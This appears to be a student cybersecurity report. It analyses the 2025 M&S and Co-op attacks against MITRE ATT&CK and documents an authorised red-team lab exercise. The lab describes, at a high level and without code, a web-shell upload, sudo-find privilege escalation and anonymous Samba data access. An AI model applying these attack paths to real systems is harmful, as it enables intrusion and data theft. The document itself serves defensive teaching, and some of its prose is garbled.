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[bookmark: _Toc237109636]1. Introduction
[bookmark: _Toc237109637]1.1 Background
Organizations are starting to realize that computer networks are vulnerable to cyberattacks. Cybersecurity has evolved considerably, from standard penetration testing that merely identifies exploitable vulnerabilities to adversary emulation and Red Team engagements that replicate realistic attacker behaviour across all surfaces of an organisation. The recent advanced persistent threats that took place in the past year may include a combination of credential compromise, exploitation, privilege escalation, lateral movement and data exfiltration. 
This makes estimating the resilience of an organisation towards advanced threats based on vulnerability discovery alone as insufficient [1]. TTPs allow for a behavioural approach by assessing prevention across the detection capabilities highlighted as techniques [2]. Incident-response processes test how well the organisation is able to contain damage and recover from a compromise. 
[bookmark: _Toc237109638]1.2 Theoretical Models and Security Frameworks
This assessment is underpinned by complementary models and theories. MITRE ATT&CK is a technique to make observations of real-world events to support TTP mapping [3]. The Cyber Kill Chain displays stages or steps of an attack at every stage in that attack process. 
NIST Cybersecurity Framework CSF 2.0 organizes cybersecurity risk management activity through Govern, Identify, Protect, Detect, Respond and Recover [4]. Defense-in-depth strengthens security through multiple layers of protection while assume breach designates an approach whereby organizations architect controls based on the provisioning of an attacker within internal networks. 
[image: ] 
[bookmark: _Toc237109690]Figure 1: Cybersecurity Workings Models
(Source: Self-developed)
[bookmark: _Toc237109639]1.3 Aim 
The aim of this report is to analyse the M&S and Co-op cyber incidents into a controlled red-team assessment of ABCD Ltd that may evaluate the security-control effectiveness. 
[bookmark: _Toc237109640]1.4 Objectives 
· To analyse the M&S and Co-op incidents.
· To analyse the behaviour of MITRE ATT&CK.
· To identify technical, organisational and human control failures.
· To design a safe environment ethical hacking test in ABCD Ltd as an adversary-emulation campaign.
· To evaluate detection with response gaps.
· To develop strategic recommendations as per UK rules and regulation.
[bookmark: _Toc237109641]1.5 Report Overview 
This analytical report examines malware incidents targeting Marks & Spencer and the Co-operative Group in 2025. It maps second and third-party observed and reported adversary behaviours to the MITRE ATT&CK framework. It assesses the root causes, security control failures as well as motivation, detection, and response capability. Next, the report applies the results in execution on a red-team laboratory at ABCD Ltd. in controlled conditions. 
[bookmark: _Toc237109642]2. Task 1: Strategic Threat Analysis
[bookmark: _Toc237109643]2.1 Incident summary 
The 2025 cyber-attacks against M&S and the Co-op show how similar initial-access techniques can have very different outcomes.  According to evidence presented to the UK Parliament, the two retailers were attacked within a short time span and have since become a major UK economic-security issue [5]. M&S saw their online operations affected for an extended period of time. They estimate that this issue could affect annual profit by around £300 million. In contrast, Co-op’s response meant customer-facing operations didn’t have to face disruption.
These incidents are particularly interesting as analysis reported publicly has linked the attacks to social-engineering-led initial access shows the continuing importance of identity security and human-centred attack surfaces. According to experts in parliamentary evidence about threats, an ecosystem was created where first-access brokers, like Scattered Spider, gained access and second brokers hired as part of the criminal ecosystem provided ransomware capabilities [6]. The modern attack showcases the above as a distributed criminal supply chain, not a single conventional threat actor.
[image: ] 
[bookmark: _Toc237109691]Figure 2: M&S & Co-op Cyber Attack Flow
(Source: Self-developed)
The attack flow suggests that identity compromise was facilitated by social engineering, followed by discovery, lateral movement, data access and disruption. Rapid detection segmentation had a significant impact on the final outcome. 
[bookmark: _Toc237109644]2.2 Timeline
	Date
	Organisation
	Key Event
	Significance

	19–21 Apr 2025
	M&S
	Subsequent reports suggest the M&S compromise started at Easter; M&S has not publicly confirmed the initial access date [7].
	The possible initial-access period highlights the period of attraction.

	22 Apr 2025
	M&S
	M&S went public about a cyber-incident that it was dealing with at the time.
	Discovered public disclosure highlights the beginning of containment [8].

	25 Apr 2025
	M&S
	M&S focusing on online orders through its UK/Ireland websites/apps and certain foreign websites.
	Here the operational impact increased the containment of the Escalation.  

	30 Apr 2025
	Co-op
	Co-op admitted it was the subject of unauthorised access and that a small impact was felt on back-office and call-centre services [9].
	Containment limited customer-facing disruption across the rapid detection.

	1 May 2025
	Co-op
	Staff members were ordered to refrain from the use of VPNs and take extra precautions as the event developed.
	Defensive response demonstrates the continued containment which lead to impact on VPNs [10].

	2 May 2025
	Co-op
	The Co-op stated that assailants accessed and downloaded data consisting of the names and contact numbers of current and former members.
	Investigation continued across the NCSC/NCA highlight that the data compromise confirmed the main system [11].

	13 May 2025
	M&S
	M&S has confirmed that some customers’ personal data was taken.
	Compromise became clearer in the scope of information.

	14 May 2025
	Co-op
	Co-op has entered the recovery phase and is progressively bringing systems back online to restore stock ordering and payment processes.
	Controlling the recovery system led to impact on transition from containment [12].

	21 May 2025
	M&S
	M&S has estimated that it will incur a £300m hit to its operating profit in 2025/26 before mitigation. The company also confirmed engagement with external cyber specialists and authorities.
	Operational consequences demonstrate the substantial financial system.

	8 Jul 2025
	M&S/Co-op
	The UK Parliament's Business and Trade Sub-Committee heard oral evidence on both attacks [13].
	UK economic-security resilience highlights the major post-incident scrutiny of detection which responds to their governance.


[bookmark: _Toc237109701]Table 1: Evidence-backed timeline of the cyber attacks
(Source: Self-developed)
The history shows that detection speed and the ability to contain the incident helped in differentiating both the incidents. M&S made a public announcement regarding a cyber-incident event on 22 April 2025. Furthermore, it subsequently suspended online orders on 25 April, reflecting that the incident was well-developed such that major operational isolation was necessary. Operating profit before mitigation in M&S highlights an impact of about £300 million across 2025/26 [14].
Co-op acted comparatively quickly for containment and recovery after forensic examination later correlating with attackers having accessed and extracted member information. On 14 May, it claimed that it was progressively restoring systems, for example, stock-ordering and payment systems.
Thus, the comparison implies that cyber resilience can’t be judged appropriately based on whether initial compromise occurs. Both organisations attempted to be maliciously accessed but a lot depended on detection, isolation, segregation, response decision-making and recovery. The investigation of July 2025 by the UK Parliament provides evidence that these lessons have strategic significance for UK economic security. 
[bookmark: _Toc237109645]2.3 TTP Mapping
An effective analysis of M&S and Co-op incidents is best performed using the Scattered Spider/UNC3944 behavioural profile. All incident specific evidence must also be clearly distinguished from techniques used and documented for the wider adversary. MITRE has labelled a hacker group Scattered Spider as financially motivated actors that rely heavily on social engineering, help-desk impersonation, MFA bypass and compromised enterprise identities. In addition, it has recently expanded to retail and hybrid cloud environments. 
[bookmark: _Toc237109646]2.3.1 Map Diagram 
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[bookmark: _Toc237109692]Figure 2: TTP Mapping to MITRE ATT&CK
(Source: Self-developed)
The diagram is meant to convey the wider adversary playbook and does not imply that every technique was conclusively demonstrated in both M&S and Co-op. Indicate whether the techniques in the final report are confirmed, reported, or adversary-profile evidence, as appropriate.
[bookmark: _Toc237109647]2.3.2 Ten Key TTPs
TTP 1 - Social Engineering
MITRE ID: T1684.001
The threat actor group Scattered Spider predominantly impersonates legitimate IT and help-desk personnel to convince employees to reset passwords and MFA tokens or provide access. MITRE specifically notes this behaviour including impersonation by phone and text. The technique is especially relevant to M&S and Co-op events, where social engineering was cited as a key initial-access tactic.
TTP 2 - Phishing for Information
MITRE ID: T1598.004
This can undermine traditional identity controls that show human interaction instead of technical abuse.
TTP 3 - Valid Accounts
MITRE ID: T1078.004
Internal controls will not raise any alarms because genuine authentication can manifest as an ordinary event, static and dynamic [15]. National and international laws make identity telemetry and behavioural analytics a necessity.
TTP 4 - User Execution
MITRE ID: T1204
Employees have been socially engineered by Scattered Spider into executing legitimate Remote access software. Hackers aren’t always associated with malware; they can trick users into doing seemingly innocuous actions [16]. According to MITRE, impersonated organizational IT personnel instructed victims to install commercial remote-access tools.
TTP 5 - Account Manipulation
MITRE ID: T1098.005
This is especially important as the attacker may still have access after a password reset for cloud-first organisations. As a result, monitoring new device registrations is an important detection requirement.
TTP 6 - Modify Authentication Process
MITRE ID: T1556.006
The Scattered Spider has taken control of MFA after compromising victims’ accounts, including registering their own tokens. MITRE also documents activity that involves fatigue from MFA. The actions prove that MFA is not necessarily effective when identity-recovery and enrolment procedures are weak.
TTP 7 - Account Discovery
MITRE ID: T1087.002
Once they are inside an enterprise environment, Scattered Spider enumerates legitimate domain accounts to discover useful identities and privileged users [17]. The discovery of the domain account of a group is recorded by MITRE. 
TTP 8 - Permission Groups Discovery
MITRE ID: T1069.002
MITRE specifically defines the use of tools and commands to identify domain groups [18]. This technique shows the need to monitor directory reconnaissance and limit unnecessary group membership using least privilege and privileged-access-management controls.
TTP 9 - Remote Services
MITRE ID: T1021.001
After obtaining suitable credentials Remote Desktop Protocol is used by scattered spiders. RDP is a legitimate administrative utility, which makes it difficult to discern misuse for nefarious purposes unless one does contextual monitoring. This risk can be lessened through network segmentation, privileged-access workstations, monitoring RDP and MFA.
TTP 10 - Data Encrypted
MITRE ID: T1486
The hacker collective Scattered Spider has been connected to a number of ransomware deployments including BlackCat and DragonForce. They’re after money, and this means they are using their ransomware to encrypt the systems of their victims. The MITRE group examined the impact of data encryption in ATT&CK Enterprise. In the context of M&S, disruption in ransomware shows how identity breach and lateral movement can eventually lead to major operational and financial damages.
[bookmark: _Toc237109648]2.4 Root Cause 
 [image: ]
[bookmark: _Toc237109693]Figure 3: Fish Bone Diagram 
(Source: Self-developed)
The incidents at M&S and Co-op highlighted that the vulnerability would not have been an issue had the identity, human, architecture and governance elements not been in failure. There is a public record that social engineering was a significant factor in the initial compromise, indicating that the attackers took advantage of trust within the organisation and identity-recovery processes, enabling them to compromise the organisation without exploiting a software vulnerability. Evidence presented in the UK Parliament with respect to the incidents brought attention to third party relationships, identity controls and corporate readiness [19]. It bolsters support for reliable help-desk verification, phishing-resilient MFA, and new authentication-device registrations monitoring.
After a hacker gets authentic access, lack of proper segmentation can increase the chances of detection and lateral movement. The system should not facilitate easy access to corporate systems if identity is compromised. 
Another key differentiator was detection and response maturity. Co-op managed to limit operational disruption faster than M&S which faced prolonged disruption and huge costs. The comparison suggests that resilience is not just about preventing first compromise but about the early detection of abnormal identity behaviour, isolating impacted systems, and retaining business services that can be restored. 
It is vital to take a step back to consider the root cause. This must not be understood merely as employee error or one exploitable weakness, but instead as a defence-in-depth failure across people, identity, architecture, monitoring and governance. 
[bookmark: _Toc237109649]2.5 Security Control Failures
[bookmark: _Toc237109650]2.5.1 Technical Failures
The incident evidence available does not establish that M&S or Co-op had a specific unpatched service or a confirmed misconfiguration, so these should not be advanced as proven root causes. Nonetheless, the broader pattern of attack suggests weaknesses in technology and access. In the practical lab, similar technical weaknesses were intentionally reproduced: the unrestricted file upload endpoint enabling remote code execution; the passwordless sudo access to find enabling privilege escalation; and the anonymously accessible Samba share exposing sensitive data [20].  The aforementioned findings directly tie back to failed controls including input validation, least privilege, secure configuration and access control. Technical conclusions should therefore distinguish verified evidence from assessment assumptions for real incidents.
[bookmark: _Toc237109651]2.5.2 Organisational Failures
The incidents reveal that organisational controls matter as much as technical protection with cyber resilience. Poor identity verification processes, inadequate separation of duties, and insufficient segmentation may enable attackers with legitimate access to migrate toward higher-value systems. The evidence does not show that a specific M&S or Co-op policy was to blame. The implementation of the practical assessment highlights the impacts of poor security governance as three target systems were placed in the AWS environment whereby exposed services were purposely configured with too many permissions or anonymous access [21]. Corresponding unsuccessful controls in this case include least-privilege policy, network segregation, secure configuration standards, vulnerability management, access governance and continuous security monitoring.
[bookmark: _Toc237109652]2.5.3 Human Factors
Human factors were especially significant in the case of the reported M & S and Co-op attacks, which involved social-engineering techniques. Therefore, technical controls can be circumvented by manipulating a legitimate user or support process. The main vulnerability thus is not the phishing susceptibility of employees as such but the capacity of the organisation to verify identity before granting access, resetting credentials or changing authentication factors. Phishing-resistant MFA, help-desk verification, security awareness training and unusual authentication behaviour all suggest user identity verification [22]. The exploitation evidence primarily relied on technical vulnerabilities and not human phishing in the red-team lab; therefore, claiming phishing as a proven laboratory finding should not be made. This distinction makes the assessment stronger academically. 
[bookmark: _Toc237109653]2.6 Threat Actor Profile & Motive
[bookmark: _Toc237109654]2.6.1 Likely Threat Actor Profile and Motive
The attack is more likely attributed to the cyber-criminal ecosystem associated with Scattered Spider (and which includes Koala) than any Hacktivist group. However, attribution should always be caveated. NCSC states that there was speculation of Scattered Spider involvement. There are also reports of social-engineering attacks against IT helpdesks for password and MFA resets. Following this, UK Parliamentary evidence described the assaults on retailers as an initial-access group, a hack group called Scattered Spider. It has been mostly young English-speaking Western criminals, possibly teenagers. Then a wider group likely assisted them with ransomware capabilities.
The actor profile is therefore better understood as financially motivated cybercriminals rather than state-sponsored. The initial-access component appears to specialise in identity compromise and social engineering. Ransomware operators can provide the capability to encrypt systems and generate extortion revenue. There is now a specialized cyber-criminal supply-chain. Rather than any one group necessarily doing every stage of a criminal operation. Thus, the reason was financial crime to extort (and probably data theft for further leverage) highlights a key consequence of operational disruption was that it increased pressure on victims.
[bookmark: _Toc237109655]2.6.2 Alternative Attribution
Attribution is uncertain because the NCSC initially stated that Scattered Spider involvement was speculation in the press. Possible alternatives could be an independent financially motivated access broker, another cyber-criminal group taking advantage of social-engineering techniques, or the cooperation between criminal actors. The latter scenario aligns with evidence provided to UK Parliament which refers to the attacks as a criminal supply chain; Scattered Spider is said to have obtained access while Russian cyber-criminal services subsequently provided ransomware capability. Accordingly, Scattered Spider should be described in the report as the most likely attribution that has been reported.
[bookmark: _Toc237109656]2.7 Critically evaluate the detection and incident response 
[bookmark: _Toc237109657]2.7.1 Vendor 
Security vendors, specialized partners played key roles in forensic investigation, threat identification, containment. According to Co-op, it carried out an investigation into the incident with NCSC and the National Crime Agency (NCA) [23]. Its subsequent review reinforced how much internal teams and external partners contributed.  The broader reaction shows how EDR, identity telemetry, forensic investigation and specialist incident-response capability proved useful. Vendor visibility alone can't make up for ineffectual identity governance or slow organisational escalation. Accordingly, the detection gap was possibly caused by the failure to see legitimate authentication activity correlated with unusual behaviour.
[bookmark: _Toc237109658]2.7.2 Victim 
The reactions of the two victims show a large variance in detection speed, containment and operational resilience. Co-op on noticing unauthorised access attempts took measures to prevent further access and then confirmed evidence of member information being accessed and extracted through forensic investigation. As per the later accounts of Co-op the deliberate separation of system, regular test and a swift action as an important factor limiting the operational impact. 
[bookmark: _Toc237109659]2.7.3 Third-Party
The involvement of third parties proved essential for the response to incidents of wider impact. This is due to the fact that major incidents require coordination among victims, specialist cyber-security providers, regulatory authorities and law-enforcement agencies. Co-op stated expressly that it engaged with NCSC and NCA as part of its investigation. The NCSC's participation highlights the value of national threat intelligence, incident coordination as well as national-level guidance during attacks on major UK organisations [24]. Following these events, the UK parliament examined the incidents along with cyber-security and law-enforcement experts, who provided independent scrutiny over the detection. Yet, internal detection gaps cannot be closed by third parties. For an effective collaboration, there needs to be timely sharing of information, clear escalation routes, compatible forensic evidence, defined responsibilities and a rapid link-up between the organizations and external responders.
[bookmark: _Toc237109660]2.8 Recommendations
[bookmark: _Toc237109661]2.8.1 Prevention
According to Co-op, the measured safety features and regular testing of its systems limited the effect of the 2025 cyberattack, which demonstrates a strong practical model for ABCD Ltd. That said, ABCD ought to implement phishing resistant MFA (FIDO2/WebAuthn); privileged-access management. Using network segmentation and Zero Trust access, critical systems must be separated so that compromised accounts cannot reach them. Internet-facing applications must be correctly configured, vulnerability managed and subjected to periodic penetration testing [25]. Consolidate logs from identity, firewall, VPN, endpoint, and cloud with telemetry for various actions. 
[bookmark: _Toc237109662]2.8.2 Detection and Response
Identifying malicious activity causes operational disruption across scale to highlight rapid detection of the Co-op incident shows the benefit [26]. Gather and centralize logs from identity providers, Active Directory, endpoints, DNS, and more. Policies in a Zero Trust security framework must continuously monitor for risk associated with identity, device and session. Every three months’ conduct detection-testing based on ATT&CK and purple-team exercises. 
The NCSC guidelines state that effective preparation for cyber incidents can mitigate costs and impact on your organisation.  ABCD must maintain a tested Cyber Incident Response Plan that contains clear escalation criteria, decision-making authority, and external contacts.  It can rapidly contain compromised hosts by employing EDR, privileged-account suspension and network segmentation. 
[bookmark: _Toc237109663]3. Task 2: Red Team Engagement: ABCD Ltd 
[bookmark: _Toc237109664]3.1 Rules of Engagement (RoE)
[bookmark: _Toc237109665]3.1.1 Scope
The assessment will be on an authorised ABCD Ltd virtual lab only having three pre-specified VMs, internal services and applications, dummy data.
[bookmark: _Toc237109666]3.1.2 Permitted Techniques
· Enumeration of networks and services against authorized lab systems.
· Checking for vulnerabilities and beginning to exploit them.
· Web Application Cybersecurity Verification
· Testing of privilege escalation within VMs.
· Credential and access-control testing using authorized dummy accounts.
· Lateral movement simulation between approved systems.
· A simulated exercise that controls data-access and data-exfiltration using fake data.
· Testing Detection via the MITRE ATT&CK Framework
[bookmark: _Toc237109667]3.1.3 Excluded Systems
Testing will not apply to production, public-facing, third-party and personal systems. This includes actual customer databases, employee devices, websites external to the lab, cloud resources external to the lab, payment systems, telecommunications infrastructure, neighbouring networks, the physical facilities of the lab and infrastructure owned by external organisations [27]. No tests are allowed outside the specified virtualised environment of ABCD Ltd.
[bookmark: _Toc237109668]3.1.4 Safe-Words / Kill Switches
The emergency procedures causing an immediate stopping of engagement activities are labelled “ABORT TEST”, “KILL SWITCH”, etc. and are actioned by the engagement supervisor.
[bookmark: _Toc237109669]3.1.5 Escalation
Any unexpected instability of the system, outage of service, unauthorized access, real leak or communication with a foreign system or activity beyond the approved scope should immediately escalate the matter. The tester will suspend the relevant activity, safeguard any available evidence, and inform the designated engagement supervisor of ABCD Ltd. In the event of critical incidents, notify the technical lead and authorized management representative [28].
[bookmark: _Toc237109670]3.1.6 Communication Channels
Events classified as urgent will be communicated using designated emergency contact methods [29].  Only approved secure storage will be used for evidence. Usage of informal social media, personal email, public file sharing services and unauthorized messaging apps is banned.
[bookmark: _Toc237109671]3.1.7 Ethical Constraints
Only the approved laboratory and documented scope shall be used to perform all activities. The testing performed must not contravene applicable UK legislation, contractual obligations, data-protection obligations and professional cyber-security ethics. The evaluation will rely exclusively on permissioned systems, accounts and dummy data.  Actions like damage, denial-of-service activity, wasting more resources than needed, uncontrolled malware drops and external attacks are prohibited [30]. Information considered sensitive by the provider that is encountered inadvertently should not be copied, revealed or maintained longer than necessary in order to preserve evidence. Credentials and captured artefacts must be handled, sanitised and accounted. 
[bookmark: _Toc237109672]3.2 Threat Emulation Plan
[image: ] 
[bookmark: _Toc237109694]Figure 4: Threat Emulation Plan Map
(Source: Self-developed)
[bookmark: _Toc237109673]3.2.1 Objectives
· To identify and safely exploit a vulnerable web service on VM-2.
· To assess controlled privilege escalation and administrative access on VM-1.
· To determine whether access can move between authorised VMs.
· To access designated dummy sensitive data on VM-3 without affecting real systems.
[bookmark: _Toc237109674]3.2.2 Success Criteria
The engagement will be a success when the authorized red-team campaign demonstrates an end-to-end attack path across the virtualized ABCD Ltd environment. To succeed in your attack, you must be able to identify the authorized attack surface, achieve all three pre-planned exploit objectives against three separate services or VMs, and control access to a specific dummy sensitive data. Every significant action should be substantiated through screenshots, command logs, system logs, network telemetry or any other proper evidence. The evaluation should also reveal whether the simulated activity was detected by SIEM, EDR, authentication and network controls. Production systems, personal information or other external infrastructures are not likely impacted. At the end, it is necessary to remove all test artefacts and restore the snapshots.
[bookmark: _Toc237109675]3.2.3 Sequence of Attack Phases
The campaign starts by gathering intelligence on the target’s known hosts, services etc. They target VM-2 through the approved web-application vulnerability. Once the access is controlled, the tester goes for execution and privilege-assessment activity. Then discovery of accounts, systems and permissions. After that, the campaign reaches credential-access and lateral-movement testing against VM-1 within scope. The target of the third layer of exploit is VM-3 to demonstrate access to the designated dummy sensitive information. 
[bookmark: _Toc237109676]3.3 Lab Environment Design 
[bookmark: _Toc237109677]3.3.1 VM-1: Windows Server acting as Active Directory Domain Controller
[image: ] 
[bookmark: _Toc237109695]Figure 5: VM-1 Network Diagram
(Source: Self-developed)
Analysis
The simulated business environment is complemented with VM-1's identity and verification backbone. Active Directory is the high-value internal target as compromised credentials may allow discovery, privilege escalation and lateral movement. The information contained within security logs reveal whether the authentication anomaly, privilege changes, and the monitoring by the defensive team was effective or not.
Configuration
A Windows Server 2022 Active Directory Domain Controller for the abcd.local domain is configured in VM-1. According to the provided practical result, the above configuration is specifically recorded and a deliberately weak test account, j.smith, is targeted, this account created for the purpose of credential-based attack testing. The server offers domain authentication, account management, and directory services for the simulated enterprise. It needs to be put on the network of the private laboratory and must not be connected directly to the public Internet. 
[bookmark: _Toc237109678]3.3.2 VM-2: Linux web server hosting a vulnerable web application 
[image: ] 
[bookmark: _Toc237109696]Figure 6: VM-2 Network Diagram 
(Source: Self-developed)
Analysis
VM-2 is the web-facing attack surface of ABCD Ltd. This Linux application is designed with known weaknesses required for the start of a cyber-attack.  By permitting access to the web-server and application logs, the test can correlate the reconnaissance, malicious requests and success of the exploit. Limiting the service to the authorised laboratory, however, will prevent unintended interactions.
Configuration
VM-2 is a web server that runs on Ubuntu Linux and it hosts a purposely made vulnerable web application. The practical evidence shows an Ubuntu server running Damn Vulnerable Web Application (DVWA) in Docker. The ST3-1 paper refers to a web-target as a Linux server with a file-upload endpoint that has a vulnerability used for demoing controlled remote-code execution. The screenshots should demonstrate a clear configuration that does not combine the two that should be clear in your final report.  Make a note of the Linux version, web service, application, listening port, internal IP address and docker where applicable. Web logs should be retained as evidence of exploitation.
[bookmark: _Toc237109679]3.3.3 VM-3: Windows 10/11 client or a file-server hosting ‘sensitive’ dummy data
[image: ] 
[bookmark: _Toc237109697]Figure 7: VM-3 Network Diagram
(Source: Self-developed)
Analysis 
VM-3 is a Windows endpoint or file server with synthetic sensitive data. The objective is to determine if the threat actor can move beyond the initial compromise and obtain the business asset.
Configuration
The internal file server role is VM-3. The practical result specifies that this system will be a domain joined Client FileServer with a shared SensitiveData folder. The ST3-1 evidence also describes a Samba-based target in one lab config, with sample sensitive data and an anonymised share. Thus, use the configuration that fits your real screenshots. The server must store only fake customer, employee and business records.
[bookmark: _Toc237109680]3.4 Exploitation Requirements 
[bookmark: _Toc237109681]3.4.1 Exploit A
[image: ]
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[bookmark: _Toc237109698]Figure 8: Exploit A
(Source: Self-developed)
Objective
The goal was to see if an attacker could gain controlled remote command execution in VM-2 using a purposely vulnerable website.
Preconditions
To carry out the assessment, the authorised Kali attacker needed to connect to VM-2 and an accessible HTTP service. The chosen application had to expose the deliberately vulnerable file-upload functionality. The evidence on file ST3-1 indicates that the endpoint performed no file-type validation, creating the conditions for controlled remote-code-execution testing.
Vulnerability
The main weakness was the lack of validation of files uploaded. The web application accepted a server-side executable that was not sufficiently validated for type or execution context. Thus, a file uploaded via the web service could be executed as the web-server account.
Method
The testing expert first checked the web service and found the upload function. Then a controlled test file was uploaded through the authorized application interface. The resource that was uploaded was accessed through the app, providing command execution under a web-server account. There was no need for external connection or destructive action.
Commands
Nmap scannings are recorded in the practical evidence followed by web-shell uploading and execution. Maintain at the report only the recon command and provide a high-level description of any upload/execution commands instead of publishing the executable payload.
Evidence
· Nmap/service-discovery image
· Capture of web application.
· Screenshot of upload/ execution terminal.
· Internet Traffic Logger
· Output of command execution.
· VM-2 IP/service details.
Success
By achieving controlled command execution as the web-server user, successful execution was shown. The ST3-1 file clearly indicates that the PHP web-shell upload and execution have been completed successfully.
Security Implication
The discovery illustrates the significance of validating files on the server side, restricting privileges to the least necessary, configuring applications to be secure, isolating applications and monitoring unusual files being uploaded.
[bookmark: _Toc237109682]3.4.2 Exploit B
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(Source: Self-developed)

Objective
The purpose of this experiment was to exploit insecure privilege configuration to gain access to the authorized laboratory by using low privileged users.
Preconditions
The tester needed a low-privileged shell on the target and permission to perform local privilege-escalation tests. The target has been intentionally configured with improper password less sudo permission for the find command as a privilege-escalation condition.
Vulnerability
An error in sudoers least-privilege caused the flaw. A standard user was given elevated execution rights over a utility that could be exploited to obtain a higher-privileged execution context. We see how what appears as normal operations can easily become a viable escalation path through this least privilege violation.
Method
Following the retrieval and storing of the initial user context, the tester listed the elevated commands that the user was allowed to run and then identified the find utility that was incorrectly authorized. The tester utilized the documented behaviour of the utility to establish controlled privilege escalation. The operation took place entirely and only within the target VM and only concerned obtaining proof of elevated privileges.
Actions
The practical evidence logs the discovery of a wrongly configured SUID/elevated find capability and subsequent privilege-escalation sequence. The outcome was a root shell and afterwards, reading a protected root flag to prove the veracity of the escalation.
Evidence
· Output of privilege enumeration.
· Obtain Permission Evidence
· Escalation shown in terminal screen.
· Verification of Roots identity.
· Logs related to system and security, if available
Success
The evidence presented in ST3-1/result indicates the tester’s successful attainment of full root access, evidenced by their ability to read the protected root flag.
Security implication
The revelation emphasizes the necessity for strict governance of sudoers, least privilege, privilege auditing, and monitoring of unexpected administrative execution.
[bookmark: _Toc237109683]3.4.3 Exploit C
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[bookmark: _Toc237109700]Figure 10: Exploit C
(Source: Self-developed)
Objective
The aim was to check if a malicious user can access the dummy sensitive data at an insecure file sharing service.
Preconditions
The tester needs to connect to VM-3 and access a Samba service. The target was setup with an anonymous Samba share that contained fictitious sensitive data to allow the assessment to test if credential information.
Vulnerability
An access-control and authentication failure was the flaw. The Samba configuration allowed for anonymous access to a share containing information which is laboratory sensitive. This created a direct path from service discovery to data exposure, and violated least-privilege and authenticated-access principles.
Method
The tester first identified the SMB service during reconnaissance and enumerated shares available. The share that can be accessed was then explored without giving credentials. After confirming anonymous access was enabled, the only sampled files retrieved, which were required for demonstrating the assessment objective, are approved files. Not involved was any real personal or commercial information.
Actions
The ST3-1 evidence logs enumeration and file retrieval using smbclient. In the report, display the service-enumeration and share-access commands on a high level, avoiding the reproduction of credentials or anything sensitive.
Evidence
· Screenshot of Nmap SMB Service Discovery.
· Enumerating the Shares on SMB.
· smbclient terminal proof.
· Sharing permissions set-up.
· Illustrative sensitive-data document.
· File Retrieval Log
Success
The evidence gathered in the practical test demonstrates SMB enumeration and sample file retrieval from the anonymous share. This met the lab’s controlled sensitive-data-access objective without using real customer data.
Security implication
The finding shows how authenticated SMB access, share-level permissions, least privilege, network segmentation, and abnormal file-share access monitoring are important.
[bookmark: _Toc237109684]3.5 Tools & Techniques
Kali Attacker
The authorized red team workstation for reconnaissance, exploitation, and evidence collection was a Kali Linux/Ubuntu Server. It is a real tool set up, not simulated, in the controlled laboratory [31]. Its use is a demonstration of practical offensive-security capability and is isolated from production infrastructure. Evidence of use of Kali/attacker-machine in lab.
Nmap
I used Nmap for network reconnaissance and service discovery to identify reachable hosts, open ports and services exposed for exploitation [32]. This tool is really designed to be used against authorised targets in the laboratory. The findings support attack-surface identification as well as MITRE ATT&CK discovery activities. There was no intentional external system scan.
Metasploit
In the laboratory, the penetration-testing framework available is Metasploit for controlled assessment and exploitation of vulnerabilities [33]. It actually exists; it is not just an imitation. Only report the use of evidence when it is supported by captured evidence during the assessment. 
Docker
A genuine containerisation method used to reproduce a controlled vulnerable service without revealing production infrastructure [34]. Docker also offers repeatability and rollback that helps to rebuild the vulnerable application after conducting the test while keeping laboratory components separated.
AWS EC2
AWS EC2 Hosted Laboratory System using Compute Infrastructure This is a real Cloud, not a simulation, which allows for deployment of the attacker and target environments [35]. It will take advantage of the realistic cloud-hosted infrastructure while keeping the assessment in an explicitly authorised environment. Instances could be stopped and isolated or restored. 
AWS VPC
The private networking architecture connecting the laboratory instances was AWS VPC [36]. It is a genuine cloud networking service that is used to create managed interaction of the attacker with the authorized targets. The VPC offered capabilities for network isolation, routing control, and segmentation, which lessened the chance of accidental interaction with external victim infrastructure during testing.
AWS Security Group
AWS Security Groups were virtual access controls around the EC2 instances [37]. These are actual AWS security controls that will limit inbound and outbound connectivity per laboratory need. Well-designed regulations minimize irrelevant exposure and demonstrate that the tests on limits were actually applied and not just procedural limits.
AWS CLI
By means of command-line administration AWS resources were controlled and managed using AWS CLI, including deployment and configuration activity of infrastructure [38]. It is a functioning administrative tool and not a mock-up. It can also show a genuine administrative command-line activity that can produce valuable audit telemetry for defenders tracking cloud-management activity.
[bookmark: _Toc237109685]3.6 Operational Execution
The red-team campaign was executed against only the authorised virtual laboratory in accordance with the approved Rules of Engagement prioritising controlled activity of low impact. The assessment was initiated with an Nmap reconnaissance to find reachable services and the attack surface. After performing the intended web-application exploitation against VM-2, the tester performed controlled privilege-escalation testing and service/file-share access against the other permitted targets. The command line evidence for reconnaissance, web-shell execution, privilege escalation and SMB enumeration/file retrieval were found in the test result.
The activity was deemed stealthy when the assessment scan was limited to authorized address ranges, no unnecessary destructive action was performed, the data collected was only dummy information and the activity was stopped once the assessment objective was demonstrated. Trade-offs made by the operator involved balancing realistic attack behaviour against availability and evidence preservation. Where not proven, dedicated C2 infrastructure was not claimed; instead, where appropriate, controlled command execution and legitimate administrative utilities were used.
Collecting evidence involved terminal screenshots, service-discovery results, exploitation output, authentication/security logs, and telemetry/PCAP. Every major action came with its target VM and intended MITRE ATT&CK technique associated [39]. The evidence package illustrated each stage instead of making narrative claims.
[bookmark: _Toc237109686]3.7 Containment & Safety
The red-team laboratory was set up as an isolated AWS environment, rather than as a production network. The practical-result documentation states that a separate AWS VPC, subnet, security group, Internet Gateway, IAM role and key pair was created so that communication could take place between the four laboratory machines. 
Only authorized laboratory IP addresses and intentionally vulnerable services were subjected to testing. Confidential dummy or sample files on the file server indicate that the data-access goal did not necessitate authentic client or employee data. The Appendix should contain evidence of the VPC, subnet, security-group rules and EC2 instances to show containment.
Before intrusive exploitation, it was advised to keep preserved the original VM configuration and capture recovery copies/snapshots of the laboratory instances. If exploitation causes instability or changes of configuration, the backups provide a known-good restoration point. The assignment needs proof of snapshots/backups and rollback plan.
[bookmark: _Toc237109687]4. Conclusion and Recommendation 
Results indicate that efficient red-team security relies on more than just technical vulnerability discovery, but comprehending weak interaction across applications, identities, networks and data. The simulation of the ABCD campaign showed three attack paths, exploiting the web application, gaining escalation and un-authorised file-share access. The exercise also highlighted the necessity of evidence-based detection, segmentation, least privilege, secure configuration and controlled incident response. 
The 2025 co-op incident shows how critical rapid detection and containment is. ABCD Ltd needs to implement 24x7 alert escalation and centralised SIEM monitoring, EDR, privileged-account monitoring. It is imperative to correlate events such as critical authentications, PowerShell events, administrative activities, web-server activity and file-access. This will help detect suspicious activity within minutes rather than days.
